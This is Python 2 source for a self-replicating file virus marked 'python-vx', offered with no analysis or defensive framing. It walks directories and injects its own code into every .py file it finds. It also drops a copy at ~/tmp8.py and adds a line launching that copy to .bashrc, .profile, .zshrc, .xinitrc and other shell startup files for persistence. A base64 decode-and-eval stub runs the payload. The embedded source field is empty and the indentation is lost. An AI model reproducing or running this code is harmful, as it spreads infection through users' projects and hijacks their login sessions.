2ch

class D():
signature = 'python-vx'
source =

import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
self.debug = False
if self.debug:
print "Threads:", threading.active_count()
if threading.active_count()>2:
if self.debug:
print "Too many threads"
return False
self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
#print self.myself
self.walk(".")
if os.name == "posix" and self.debug == False:
bashrc = "%s/.bashrc" % os.environ['HOME']
tmp = "%s/tmp8.py" % os.environ['HOME']
if os.path.exists(tmp) and not self.debug:
pass
else:
try:
f = open(tmp, 'w+')
f.write(self.myself)
f.close()
except:
if self.debug:
print "Can't create tmp.py file"
print traceback.format_exc()
else:
self.add_me(bashrc)
self.add_me("%s/.xsession" % os.environ['HOME'])
self.add_me("%s/.profile" % os.environ['HOME'])
self.add_me("%s/.kshrc" % os.environ['HOME'])
self.add_me("%s/.zshrc" % os.environ['HOME'])
self.add_me("%s/.cshrc" % os.environ['HOME'])
self.add_me("%s/.xinitrc" % os.environ['HOME'])
t = Virii()
t.run()
def a_a():
try:
import base64, sys, inspect, os
code = base64.b64decode(D.source)
d = compile(code, filename=" ", mode="exec")
eval(d, globals(), locals())
except:
pass